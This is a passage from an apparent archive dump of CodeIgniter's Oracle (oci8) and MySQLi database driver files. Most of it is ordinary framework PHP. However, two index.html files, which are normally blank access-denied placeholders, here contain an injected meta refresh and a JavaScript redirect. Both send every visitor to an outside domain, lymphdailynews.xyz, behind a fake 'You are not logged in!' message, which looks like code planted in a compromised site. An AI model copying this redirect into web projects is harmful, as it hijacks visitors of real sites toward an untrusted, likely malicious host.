return $this->db->display_error('db_unsupported_feature'); } } drivers/oci8/oci8_forge.php 0000644 00000011625 14642767326 0011647 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.4.1 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Oracle Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_oci8_forge extends CI_DB_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = FALSE; /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = FALSE; /** * DROP DATABASE statement * * @var string */ protected $_drop_database = FALSE; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = FALSE; /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = FALSE; /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP') { return parent::_alter_table($alter_type, $table, $field); } elseif ($alter_type === 'CHANGE') { $alter_type = 'MODIFY'; } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { $field[$i] = "\n\t".$field[$i]['_literal']; } else { $field[$i]['_literal'] = "\n\t".$this->_process_column($field[$i]); if ( ! empty($field[$i]['comment'])) { $sqls[] = 'COMMENT ON COLUMN ' .$this->db->escape_identifiers($table).'.'.$this->db->escape_identifiers($field[$i]['name']) .' IS '.$field[$i]['comment']; } if ($alter_type === 'MODIFY' && ! empty($field[$i]['new_name'])) { $sqls[] = $sql.' RENAME COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TO '.$this->db->escape_identifiers($field[$i]['new_name']); } $field[$i] = "\n\t".$field[$i]['_literal']; } } $sql .= ' '.$alter_type.' '; $sql .= (count($field) === 1) ? $field[0] : '('.implode(',', $field).')'; // RENAME COLUMN must be executed after MODIFY array_unshift($sqls, $sql); return $sqls; } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported - sequences and triggers must be used instead } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'NUMBER'; return; case 'MEDIUMINT': $attributes['TYPE'] = 'NUMBER'; return; case 'INT': $attributes['TYPE'] = 'NUMBER'; return; case 'BIGINT': $attributes['TYPE'] = 'NUMBER'; return; default: return; } } } drivers/oci8/oci8_driver.php 0000644 00000041430 14642767327 0012036 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.4.1 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * oci8 Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ /** * oci8 Database Adapter Class * * This is a modification of the DB_driver class to * permit access to oracle databases * * @author Kelly McArdle */ class CI_DB_oci8_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'oci8'; /** * Statement ID * * @var resource */ public $stmt_id; /** * Cursor ID * * @var resource */ public $curs_id; /** * Commit mode flag * * @var int */ public $commit_mode = OCI_COMMIT_ON_SUCCESS; /** * Limit used flag * * If we use LIMIT, we'll add a field that will * throw off num_fields later. * * @var bool */ public $limit_used = FALSE; // -------------------------------------------------------------------- /** * Reset $stmt_id flag * * Used by stored_procedure() to prevent _execute() from * re-setting the statement ID. */ protected $_reset_stmt_id = TRUE; /** * List of reserved identifiers * * Identifiers that must NOT be escaped. * * @var string[] */ protected $_reserved_identifiers = array('*', 'rownum'); /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('ASC', 'ASC'); // not currently supported /** * COUNT string * * @used-by CI_DB_driver::count_all() * @used-by CI_DB_query_builder::count_all_results() * * @var string */ protected $_count_string = 'SELECT COUNT(1) AS '; // -------------------------------------------------------------------- /** * Class constructor * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); $valid_dsns = array( 'tns' => '/^\(DESCRIPTION=(\(.+\)){2,}\)$/', // TNS // Easy Connect string (Oracle 10g+) 'ec' => '/^(\/\/)?[a-z0-9.:_-]+(:[1-9][0-9]{0,4})?(\/[a-z0-9$_]+)?(:[^\/])?(\/[a-z0-9$_]+)?$/i', 'in' => '/^[a-z0-9$_]+$/i' // Instance name (defined in tnsnames.ora) ); /* Space characters don't have any effect when actually * connecting, but can be a hassle while validating the DSN. */ $this->dsn = str_replace(array("\n", "\r", "\t", ' '), '', $this->dsn); if ($this->dsn !== '') { foreach ($valid_dsns as $regexp) { if (preg_match($regexp, $this->dsn)) { return; } } } // Legacy support for TNS in the hostname configuration field $this->hostname = str_replace(array("\n", "\r", "\t", ' '), '', $this->hostname); if (preg_match($valid_dsns['tns'], $this->hostname)) { $this->dsn = $this->hostname; return; } elseif ($this->hostname !== '' && strpos($this->hostname, '/') === FALSE && strpos($this->hostname, ':') === FALSE && (( ! empty($this->port) && ctype_digit($this->port)) OR $this->database !== '')) { /* If the hostname field isn't empty, doesn't contain * ':' and/or '/' and if port and/or database aren't * empty, then the hostname field is most likely indeed * just a hostname. Therefore we'll try and build an * Easy Connect string from these 3 settings, assuming * that the database field is a service name. */ $this->dsn = $this->hostname .(( ! empty($this->port) && ctype_digit($this->port)) ? ':'.$this->port : '') .($this->database !== '' ? '/'.ltrim($this->database, '/') : ''); if (preg_match($valid_dsns['ec'], $this->dsn)) { return; } } /* At this point, we can only try and validate the hostname and * database fields separately as DSNs. */ if (preg_match($valid_dsns['ec'], $this->hostname) OR preg_match($valid_dsns['in'], $this->hostname)) { $this->dsn = $this->hostname; return; } $this->database = str_replace(array("\n", "\r", "\t", ' '), '', $this->database); foreach ($valid_dsns as $regexp) { if (preg_match($regexp, $this->database)) { return; } } /* Well - OK, an empty string should work as well. * PHP will try to use environment variables to * determine which Oracle instance to connect to. */ $this->dsn = ''; } // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { $func = ($persistent === TRUE) ? 'oci_pconnect' : 'oci_connect'; return empty($this->char_set) ? $func($this->username, $this->password, $this->dsn) : $func($this->username, $this->password, $this->dsn, $this->char_set); } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } if ( ! $this->conn_id OR ($version_string = oci_server_version($this->conn_id)) === FALSE) { return FALSE; } elseif (preg_match('#Release\s(\d+(?:\.\d+)+)#', $version_string, $match)) { return $this->data_cache['version'] = $match[1]; } return FALSE; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { /* Oracle must parse the query before it is run. All of the actions with * the query are based on the statement id returned by oci_parse(). */ if ($this->_reset_stmt_id === TRUE) { $this->stmt_id = oci_parse($this->conn_id, $sql); } oci_set_prefetch($this->stmt_id, 1000); return oci_execute($this->stmt_id, $this->commit_mode); } // -------------------------------------------------------------------- /** * Get cursor. Returns a cursor from the database * * @return resource */ public function get_cursor() { return $this->curs_id = oci_new_cursor($this->conn_id); } // -------------------------------------------------------------------- /** * Stored Procedure. Executes a stored procedure * * @param string package name in which the stored procedure is in * @param string stored procedure name to execute * @param array parameters * @return mixed * * params array keys * * KEY OPTIONAL NOTES * name no the name of the parameter should be in :<param_name> format * value no the value of the parameter. If this is an OUT or IN OUT parameter, * this should be a reference to a variable * type yes the type of the parameter * length yes the max size of the parameter */ public function stored_procedure($package, $procedure, array $params) { if ($package === '' OR $procedure === '') { log_message('error', 'Invalid query: '.$package.'.'.$procedure); return ($this->db_debug) ? $this->display_error('db_invalid_query') : FALSE; } // Build the query string $sql = 'BEGIN '.$package.'.'.$procedure.'('; $have_cursor = FALSE; foreach ($params as $param) { $sql .= $param['name'].','; if (isset($param['type']) && $param['type'] === OCI_B_CURSOR) { $have_cursor = TRUE; } } $sql = trim($sql, ',').'); END;'; $this->_reset_stmt_id = FALSE; $this->stmt_id = oci_parse($this->conn_id, $sql); $this->_bind_params($params); $result = $this->query($sql, FALSE, $have_cursor); $this->_reset_stmt_id = TRUE; return $result; } // -------------------------------------------------------------------- /** * Bind parameters * * @param array $params * @return void */ protected function _bind_params($params) { if ( ! is_array($params) OR ! is_resource($this->stmt_id)) { return; } foreach ($params as $param) { foreach (array('name', 'value', 'type', 'length') as $val) { if ( ! isset($param[$val])) { $param[$val] = ''; } } oci_bind_by_name($this->stmt_id, $param['name'], $param['value'], $param['length'], $param['type']); } } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { $this->commit_mode = OCI_NO_AUTO_COMMIT; return TRUE; } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { $this->commit_mode = OCI_COMMIT_ON_SUCCESS; return oci_commit($this->conn_id); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { $this->commit_mode = OCI_COMMIT_ON_SUCCESS; return oci_rollback($this->conn_id); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return oci_num_rows($this->stmt_id); } // -------------------------------------------------------------------- /** * Insert ID * * @return int */ public function insert_id() { // not supported in oracle return $this->display_error('db_unsupported_function'); } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "TABLE_NAME" FROM "ALL_TABLES"'; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql.' WHERE "TABLE_NAME" LIKE \''.$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { if (strpos($table, '.') !== FALSE) { sscanf($table, '%[^.].%s', $owner, $table); } else { $owner = $this->username; } return 'SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE UPPER(OWNER) = '.$this->escape(strtoupper($owner)).' AND UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (strpos($table, '.') !== FALSE) { sscanf($table, '%[^.].%s', $owner, $table); } else { $owner = $this->username; } $sql = 'SELECT COLUMN_NAME, DATA_TYPE, CHAR_LENGTH, DATA_PRECISION, DATA_LENGTH, DATA_DEFAULT, NULLABLE FROM ALL_TAB_COLUMNS WHERE UPPER(OWNER) = '.$this->escape(strtoupper($owner)).' AND UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->COLUMN_NAME; $retval[$i]->type = $query[$i]->DATA_TYPE; $length = ($query[$i]->CHAR_LENGTH > 0) ? $query[$i]->CHAR_LENGTH : $query[$i]->DATA_PRECISION; if ($length === NULL) { $length = $query[$i]->DATA_LENGTH; } $retval[$i]->max_length = $length; $default = $query[$i]->DATA_DEFAULT; if ($default === NULL && $query[$i]->NULLABLE === 'N') { $default = ''; } $retval[$i]->default = $default; } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { // oci_error() returns an array that already contains // 'code' and 'message' keys, but it can return false // if there was no error .... if (is_resource($this->curs_id)) { $error = oci_error($this->curs_id); } elseif (is_resource($this->stmt_id)) { $error = oci_error($this->stmt_id); } elseif (is_resource($this->conn_id)) { $error = oci_error($this->conn_id); } else { $error = oci_error(); } return is_array($error) ? $error : array('code' => '', 'message' => ''); } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string */ protected function _insert_batch($table, $keys, $values) { $keys = implode(', ', $keys); $sql = "INSERT ALL\n"; for ($i = 0, $c = count($values); $i < $c; $i++) { $sql .= ' INTO '.$table.' ('.$keys.') VALUES '.$values[$i]."\n"; } return $sql.'SELECT * FROM dual'; } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE TABLE '.$table; } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { if ($this->qb_limit) { $this->where('rownum <= ',$this->qb_limit, FALSE); $this->qb_limit = FALSE; } return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { if (version_compare($this->version(), '12.1', '>=')) { // OFFSET-FETCH can be used only with the ORDER BY clause empty($this->qb_orderby) && $sql .= ' ORDER BY 1'; return $sql.' OFFSET '.(int) $this->qb_offset.' ROWS FETCH NEXT '.$this->qb_limit.' ROWS ONLY'; } $this->limit_used = TRUE; return 'SELECT * FROM (SELECT inner_query.*, rownum rnum FROM ('.$sql.') inner_query WHERE rownum < '.($this->qb_offset + $this->qb_limit + 1).')' .($this->qb_offset ? ' WHERE rnum >= '.($this->qb_offset + 1) : ''); } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { oci_close($this->conn_id); } // -------------------------------------------------------------------- /** * We need to reset our $limit_used hack flag, so it doesn't propagate * to subsequent queries. * * @return void */ protected function _reset_select() { $this->limit_used = FALSE; parent::_reset_select(); } } drivers/oci8/index.html 0000444 00000000605 14642767331 0011075 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/oci8/oci8_result.php 0000644 00000012343 14642767332 0012056 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.4.1 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * oci8 Result Class * * This class extends the parent result class: CI_DB_result * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_oci8_result extends CI_DB_result { /** * Statement ID * * @var resource */ public $stmt_id; /** * Cursor ID * * @var resource */ public $curs_id; /** * Limit used flag * * @var bool */ public $limit_used; /** * Commit mode flag * * @var int */ public $commit_mode; // -------------------------------------------------------------------- /** * Class constructor * * @param object &$driver_object * @return void */ public function __construct(&$driver_object) { parent::__construct($driver_object); $this->stmt_id = $driver_object->stmt_id; $this->curs_id = $driver_object->curs_id; $this->limit_used = $driver_object->limit_used; $this->commit_mode =& $driver_object->commit_mode; $driver_object->stmt_id = FALSE; } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { $count = oci_num_fields($this->stmt_id); // if we used a limit we subtract it return ($this->limit_used) ? $count - 1 : $count; } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); for ($c = 1, $fieldCount = $this->num_fields(); $c <= $fieldCount; $c++) { $field_names[] = oci_field_name($this->stmt_id, $c); } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($c = 1, $fieldCount = $this->num_fields(); $c <= $fieldCount; $c++) { $F = new stdClass(); $F->name = oci_field_name($this->stmt_id, $c); $F->type = oci_field_type($this->stmt_id, $c); $F->max_length = oci_field_size($this->stmt_id, $c); $retval[] = $F; } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_resource($this->result_id)) { oci_free_statement($this->result_id); $this->result_id = FALSE; } if (is_resource($this->stmt_id)) { oci_free_statement($this->stmt_id); } if (is_resource($this->curs_id)) { oci_cancel($this->curs_id); $this->curs_id = NULL; } } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { $id = ($this->curs_id) ? $this->curs_id : $this->stmt_id; return oci_fetch_assoc($id); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { $row = ($this->curs_id) ? oci_fetch_object($this->curs_id) : oci_fetch_object($this->stmt_id); if ($class_name === 'stdClass' OR ! $row) { return $row; } $class_name = new $class_name(); foreach ($row as $key => $value) { $class_name->$key = $value; } return $class_name; } } drivers/index.html 0000444 00000000605 14642767332 0010234 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/mysqli/mysqli_utility.php 0000644 00000012662 14642767333 0013400 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQLi Utility Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysqli_utility extends CI_DB_utility { /** * List databases statement * * @var string */ protected $_list_databases = 'SHOW DATABASES'; /** * OPTIMIZE TABLE statement * * @var string */ protected $_optimize_table = 'OPTIMIZE TABLE %s'; /** * REPAIR TABLE statement * * @var string */ protected $_repair_table = 'REPAIR TABLE %s'; // -------------------------------------------------------------------- /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { if (count($params) === 0) { return FALSE; } // Extract the prefs for simplicity extract($params); // Build the output $output = ''; // Do we need to include a statement to disable foreign key checks? if ($foreign_key_checks === FALSE) { $output .= 'SET foreign_key_checks = 0;'.$newline; } foreach ( (array) $tables as $table) { // Is the table in the "ignore" list? if (in_array($table, (array) $ignore, TRUE)) { continue; } // Get the table schema $query = $this->db->query('SHOW CREATE TABLE '.$this->db->escape_identifiers($this->db->database.'.'.$table)); // No result means the table name was invalid if ($query === FALSE) { continue; } // Write out the table schema $output .= '#'.$newline.'# TABLE STRUCTURE FOR: '.$table.$newline.'#'.$newline.$newline; if ($add_drop === TRUE) { $output .= 'DROP TABLE IF EXISTS '.$this->db->protect_identifiers($table).';'.$newline.$newline; } $i = 0; $result = $query->result_array(); foreach ($result[0] as $val) { if ($i++ % 2) { $output .= $val.';'.$newline.$newline; } } // If inserts are not needed we're done... if ($add_insert === FALSE) { continue; } // Grab all the data from the current table $query = $this->db->query('SELECT * FROM '.$this->db->protect_identifiers($table)); if ($query->num_rows() === 0) { continue; } // Fetch the field names and determine if the field is an // integer type. We use this info to decide whether to // surround the data with quotes or not $i = 0; $field_str = ''; $is_int = array(); while ($field = $query->result_id->fetch_field()) { // Most versions of MySQL store timestamp as a string $is_int[$i] = in_array($field->type, array(MYSQLI_TYPE_TINY, MYSQLI_TYPE_SHORT, MYSQLI_TYPE_INT24, MYSQLI_TYPE_LONG), TRUE); // Create a string of field names $field_str .= $this->db->escape_identifiers($field->name).', '; $i++; } // Trim off the end comma $field_str = preg_replace('/, $/' , '', $field_str); // Build the insert string foreach ($query->result_array() as $row) { $val_str = ''; $i = 0; foreach ($row as $v) { // Is the value NULL? if ($v === NULL) { $val_str .= 'NULL'; } else { // Escape the data if it's not an integer $val_str .= ($is_int[$i] === FALSE) ? $this->db->escape($v) : $v; } // Append a comma $val_str .= ', '; $i++; } // Remove the comma at the end of the string $val_str = preg_replace('/, $/' , '', $val_str); // Build the INSERT string $output .= 'INSERT INTO '.$this->db->protect_identifiers($table).' ('.$field_str.') VALUES ('.$val_str.');'.$newline; } $output .= $newline.$newline; } // Do we need to include a statement to re-enable foreign key checks? if ($foreign_key_checks === FALSE) { $output .= 'SET foreign_key_checks = 1;'.$newline; } return $output; } } drivers/mysqli/mysqli_driver.php 0000644 00000031750 14642767334 0013170 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQLi Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysqli_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'mysqli'; /** * Compression flag * * @var bool */ public $compress = FALSE; /** * DELETE hack flag * * Whether to use the MySQL "delete hack" which allows the number * of affected rows to be shown. Uses a preg_replace when enabled, * adding a bit more processing to all queries. * * @var bool */ public $delete_hack = TRUE; /** * Strict ON flag * * Whether we're running in strict SQL mode. * * @var bool */ public $stricton; // -------------------------------------------------------------------- /** * Identifier escape character * * @var string */ protected $_escape_char = '`'; // -------------------------------------------------------------------- /** * MySQLi object * * Has to be preserved without being assigned to $conn_id. * * @var MySQLi */ protected $_mysqli; // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return object */ public function db_connect($persistent = FALSE) { // Do we have a socket path? if ($this->hostname[0] === '/') { $hostname = NULL; $port = NULL; $socket = $this->hostname; } else { $hostname = ($persistent === TRUE) ? 'p:'.$this->hostname : $this->hostname; $port = empty($this->port) ? NULL : $this->port; $socket = NULL; } $client_flags = ($this->compress === TRUE) ? MYSQLI_CLIENT_COMPRESS : 0; $this->_mysqli = mysqli_init(); $this->_mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 10); if (isset($this->stricton)) { if ($this->stricton) { $this->_mysqli->options(MYSQLI_INIT_COMMAND, 'SET SESSION sql_mode = CONCAT(@@sql_mode, ",", "STRICT_ALL_TABLES")'); } else { $this->_mysqli->options(MYSQLI_INIT_COMMAND, 'SET SESSION sql_mode = REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE( @@sql_mode, "STRICT_ALL_TABLES,", ""), ",STRICT_ALL_TABLES", ""), "STRICT_ALL_TABLES", ""), "STRICT_TRANS_TABLES,", ""), ",STRICT_TRANS_TABLES", ""), "STRICT_TRANS_TABLES", "")' ); } } if (is_array($this->encrypt)) { $ssl = array(); empty($this->encrypt['ssl_key']) OR $ssl['key'] = $this->encrypt['ssl_key']; empty($this->encrypt['ssl_cert']) OR $ssl['cert'] = $this->encrypt['ssl_cert']; empty($this->encrypt['ssl_ca']) OR 